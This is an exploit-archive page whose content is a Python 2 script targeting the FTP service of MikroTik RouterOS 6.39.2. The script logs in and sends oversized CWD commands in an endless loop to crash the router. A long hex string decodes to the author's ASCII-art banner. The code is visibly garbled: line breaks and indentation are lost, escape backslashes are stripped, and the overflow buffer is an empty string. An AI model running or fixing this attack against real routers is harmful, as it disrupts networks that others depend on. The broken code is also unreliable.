Home / os / win3.11

Mikrotik RouterOS 6.39.2 FTP CWD Buffer Overflow

Posted on 20 June 2017

import time,sys import socket from ftplib import FTP # mikrotik RouterOS v6.39.2 FTp buffer cwd command # sultan albalawi if len(sys.argv) < 4: print 'ie: python ' + sys.argv[0] + ' <host> <port> <username> <passowrd>"' print 'Example: 192.168.1.1 21 admin admin' sys.exit(1) def myB(): print "x27x27x27x0dx0ax20x20x20x20x20" "x20x20x5cx20x20x20x2dx20x20x2dx20" "x20x2dx20x3cx73x65x72x76x65x72x3e" "x20x20x2dx20x5cx2dx2dx2dx3cx20x2d" "x20x2dx20x20x2dx20x2dx20x20x2dx20" "x20x2ax0dx0ax20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x2ax2a" "x2ax0dx0ax20x20x20x20x20x20x20x7c" "x20x20x20x20x44x6fx63x5fx41x74x74" "x61x63x6bx20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x2ax2ax2ax2a" "x2ax0dx0ax20x20x20x20x20x20x20x7c" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x2ax2ax2ax2ax2a" "x2ax2ax0dx0ax20x20x20x20x20x20x20" "x76x20x20x20x20x20x20x20x20x60x20" "x60x2ex20x20x20x20x2cx3bx27x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x2ax2ax2ax2ax41x70" "x50x2ax2ax2ax2ax0dx0ax20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x60x2ex20x20x2cx27x2fx20x2ex27" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x2ax2ax2ax2a" "x2ax2ax2ax2ax2ax2ax2ax2ax2ax0dx0a" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x60x2ex20x58x20" "x2fx2ex27x20x20x20x20x20x20x20x20" "x20x20x20x20x20x2ax20x20x20x20x20" "x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2a" "x2ax2ax0dx0ax20x20x20x20x20x20x20" "x2ex2dx3bx2dx2dx27x27x2dx2dx2ex5f" "x60x20x60x20x28x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x2ax2ax2a" "x20x20x20x20x20x20x20x20x20x20x7c" "x0dx0ax20x20x20x20x20x2ex27x20x20" "x20x20x20x20x20x20x20x20x20x2fx20" "x20x20x20x27x20x20x20x20x20x20x20" "x20x20x20x20x20x2ax2ax2ax2ax2ax20" "x20x20x20x20x20x20x20x20x7cx20x64" "x61x74x61x62x61x73x65x0dx0ax20x20" "x20x20x20x3bx53x65x63x75x72x69x74" "x79x60x20x20x27x20x30x20x20x30x20" "x27x20x20x20x20x20x20x20x20x20x2a" "x2ax2ax4ex45x54x2ax2ax2ax20x20x20" "x20x20x20x20x7cx0dx0ax20x20x20x20" "x2cx20x20x20x20x20x20x20x2cx20x20" "x20x20x27x20x20x7cx20x20x27x20x20" "x20x20x20x20x20x20x20x20x2ax2ax2a" "x2ax2ax2ax2ax2ax2ax20x20x20x20x20" "x20x20x5ex0dx0ax20x2cx2ex20x7cx20" "x20x20x20x20x20x20x27x20x20x20x20" "x20x60x2ex5fx2ex27x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x7c" "x2dx2dx2dx2dx2dx2dx2dx5ex2dx2dx2d" "x5ex20x20x20x20x20x20x20x20x20x20" "x2fx0dx0ax20x3ax20x20x2ex20x60x20" "x20x3bx20x20x20x60x20x20x60x20x2d" "x2dx2cx2ex2ex5fx3bx2dx2dx2dx3ex20" "x20x20x20x20x20x20x20x20x7cx20x20" "x20x20x20x20x20x27x2ex27x2ex27x5f" "x5fx5fx5fx5fx5fx5fx5fx20x2ax0dx0a" "x20x20x27x20x60x20x20x20x20x2cx20" "x20x20x29x20x20x20x2ex27x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x5ex20x20x20x20x20" "x20x20x20x7cx5fx7cx20x46x69x72x65" "x77x61x6cx6cx20x29x0dx0ax20x20x20" "x20x20x60x2ex5fx20x2cx20x20x27x20" "x20x20x2fx5fx20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x7cx20x20x20x20x20x20x20x20" "x20x20x20x20x7cx7cx20x20x20x20x7c" "x7cx0dx0ax20x20x20x20x20x20x20x20" "x3bx20x2cx27x27x2dx2cx3bx27x20x60" "x60x2dx5fx5fx5fx5fx5fx5fx5fx5fx5f" "x5fx5fx5fx5fx5fx5fx5fx5fx7cx0dx0a" "x20x20x20x20x20x20x20x20x20x60x60" "x2dx2ex2ex5fx5fx60x60x2dx2dx60x20" "x20x20x20x20x20x20x69x70x73x20x20" "x20x20x20x20x20x2dx20x20x20x20x20" "x20x20x20x20x20x20x5ex20x20x20x20" "x20x20x20x20x20x20x20x20x2fx0dx0a" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x2dx20x20x20x20" "x20x20x20x20x27x2ex20x5fx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2ax0dx0ax20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x2dx5fx5fx5fx5fx5f" "x5fx5fx20x7cx5fx20x20x49x50x53x20" "x20x20x20x20x29x0dx0ax20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x7cx7cx20x20x20x20" "x20x7cx7cx0dx0ax20x20x20x20x20x20" "x20x20x20x2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx0d" "x0ax20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x53x75x6cx74x61x6ex20" "x41x6cx62x61x6cx61x77x69x0dx0ax20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x68x74x74x70x73" "x3ax2fx2fx77x77x77x2ex66x61x63x65" "x62x6fx6fx6bx2ex63x6fx6dx2fx70x65" "x6ex74x65x73x74x33x0dx0ax20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x61" "x6cx62x61x6cx61x77x69x34x70x65x6e" "x74x65x73x74x40x67x6dx61x69x6cx2e" "x63x6fx6dx0dx0ax20x20x20x20x20x20" "x20x20x20x2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx0d" " x68x74x74x70x73x3ax2fx2fx70x61" "x63x6bx65x74x73x74x6fx72x6dx73x65x63" "x75x72x69x74x79x2ex63x6fx6dx2fx66x69" "x6cx65x73x2fx61x75x74x68x6fx72x2fx31x32x35x38x36x2f " "x20x20x20x2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx0d" myB() host=sys.argv[1] port=int(sys.argv[2]) u = sys.argv[3] p = sys.argv[4] try: pause=3 command=["GET ", "ABOR ", "ACCT ", "ALLO ", "ABOR ", "APPE ", "CDUP ", "CWD ", "DELE ", "HELP ", "LIST ", "MDTM ", "MKD ", "MODE ", "NLST ", "NOOP ", "PASS ", "PASV ", "PORT ", "PWD ", "QUIT ", "REIN ", "REST ", "RETR ", "RMD ", "RNFR ", "RNTO ", "SITE ", "SIZE ", "STAT ", "STOR ", "STOU ", "STRU ", "SYST ", "TYPE ", "USER ", "XCWD ", "XPWD ", "XCUP ", "CDUP ", "XMKD ", "XRMD ", "STOU ",] print len(command) m=5000 for i, val in enumerate(command): for dd in range(m): evil = ""*50000 evilTYPE= (command[7]+evil) print i, command[7], sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) open = sock.connect_ex((host,port)) sock.close() while True: ftp = FTP() ftp.connect(host,port) ftp.login(u,p) for i, val in enumerate(command): ftp.sendcmd(evilTYPE) ftp.sendcmd(evilTYPE) print ftp.sendcmd(evilTYPE) ftp.close() time.sleep(pause) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) open = sock.connect_ex((host,port)) open = sock.connect_ex((host,port)) sock.close() except Exception, msg: print msg,"host"

 

TOP